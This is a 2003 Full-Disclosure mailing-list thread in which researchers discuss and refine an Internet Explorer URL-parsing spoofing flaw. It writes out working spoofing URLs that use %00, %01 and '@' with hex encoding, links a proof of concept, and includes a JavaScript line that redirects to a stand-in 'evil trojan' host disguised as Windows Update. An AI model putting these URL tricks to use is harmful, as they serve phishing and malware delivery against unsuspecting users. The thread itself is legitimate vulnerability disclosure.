RE: [Full-Disclosure] RE: FWD: Internet Explorer URL parsing vulnerability

["Rainer Gerhards" <rgerhards@hq.adiscon.com>]

Well, 0x00 works even better (as usual). Consider the following URL:

http://www.microsoft.com:security%00@%77w%77%2elinu%78%2eorg

This, together with a little social engineering can do much. In my IE
6.0.2800.1106.xpsp2.03422-1633 this takes your to www.linux.org, which
is also shown in the address bar. The status bar will show
"www.microsoft.com:security" whenever you hover over relative links on
the site (check with the news). The trick will most probably work will
with fake sites that remove the address bar.

The 0x00 C string terminator causes often quite some troubles. I
remember reporting a similar problem to Microsoft some month ago, then
related to %00 not being correctly parsed by IIS. It was considered low
risk by Microsoft and not immediately addressed (I have to admit I
actually think this at least not very high risk...). It should be
addressed by now.

Back to the dicsussed topic: I think it is also not very clever to
display credentials in the status bar. So if somebody is dumb enough to
actually use URLs with credentials, I think the browser should remove
them in all visible elements.

Rainer Gerhards
Adiscon






________________________________

        From: VeNoMouS [mailto:venom@gen-x.co.nz] 
        Sent: Wednesday, December 10, 2003 6:03 AM
        To: Julian HO Thean Swee; full-disclosure@lists.netsys.com
        Subject: Re: [Full-Disclosure] RE: FWD: Internet Explorer URL
parsing vulnerability
        
        
        umm tested this you dont need %01 either btw.
         
        www.microsoft.com@www.linux.org
         
        was messing around with some hex stile as well is there a way to
call a file:// inside a http:// becos the issue with doing the @ trick
is it appends http:// automaticly, mind you , u could just make it exec
some vb code or something on a site, just a random idea any way
         
        and it dont also seem to work if you use hex as well for the
full domain ie
         
        www.microsoft.com%40%77%77%77%2E%6C%69%6E%75%78%2E%6F%72%67
         
                nor  www.microsoft.com%40www.linux.org
         
                where as if you
www.microsoft.com@%77%77%77%2E%6C%69%6E%75%78%2E%6F%72%67 works
         
         
         
         
         
         
        ----- Original Message ----- 

                From: Julian HO Thean Swee <mailto:jho@starhub.com>  
                To: 'full-disclosure@lists.netsys.com' 
                Sent: Wednesday, December 10, 2003 4:22 PM
                Subject: [Full-Disclosure] RE: FWD: Internet Explorer
URL parsing vulnerability


                Hmm, it doesn't seem to work on my browser :) 
                I don't even get transported to any page when i click
the button. 
                But then again, i have everything turned off in the
internet zone by default... 
                (but my submit non-encrypted form data is on) 

                Does it really work then?  it looks like it's using
javascript...? (location.href) 
                Merry Christmas everyone :) 

                        --__--__-- 

                        Message: 1 
                        Date: Tue, 9 Dec 2003 10:22:59 -0800 (PST) 
                        From: S G Masood <sgmasood@yahoo.com> 
                        To: full-disclosure@lists.netsys.com 
                        Subject: [Full-Disclosure] RE: FWD: Internet
Explorer URL parsing vulnerability 


                        LOL. This is so simple and dangerous, it almost
made 
                        me laugh and cry at the same time. Most of you
will 
                        realise why...;D 
                        The Paypal, AOL, Visa, Mastercard, et al email 
                        scammers will have a harvest of gold this month
with 
                        lots of zombies falling for this simple
technique. 

                        ># POC ########## 
        
>http://www.zapthedingbat.com/security/ex01/vun1.htm 

                        Dont be surprised if your latest download from 
                        http://www.microsoft.com turns out to be a
trojan! 

        
location.href=unescape('http://windowsupdate.microsoft.com%01@comedownlo
adaneviltrojanfromme.com); 


                        -- 
                        S.G.Masood 

                        Hyderabad, 
                        India 

                        PS: One more thing - no scripting required to
exploit this. 

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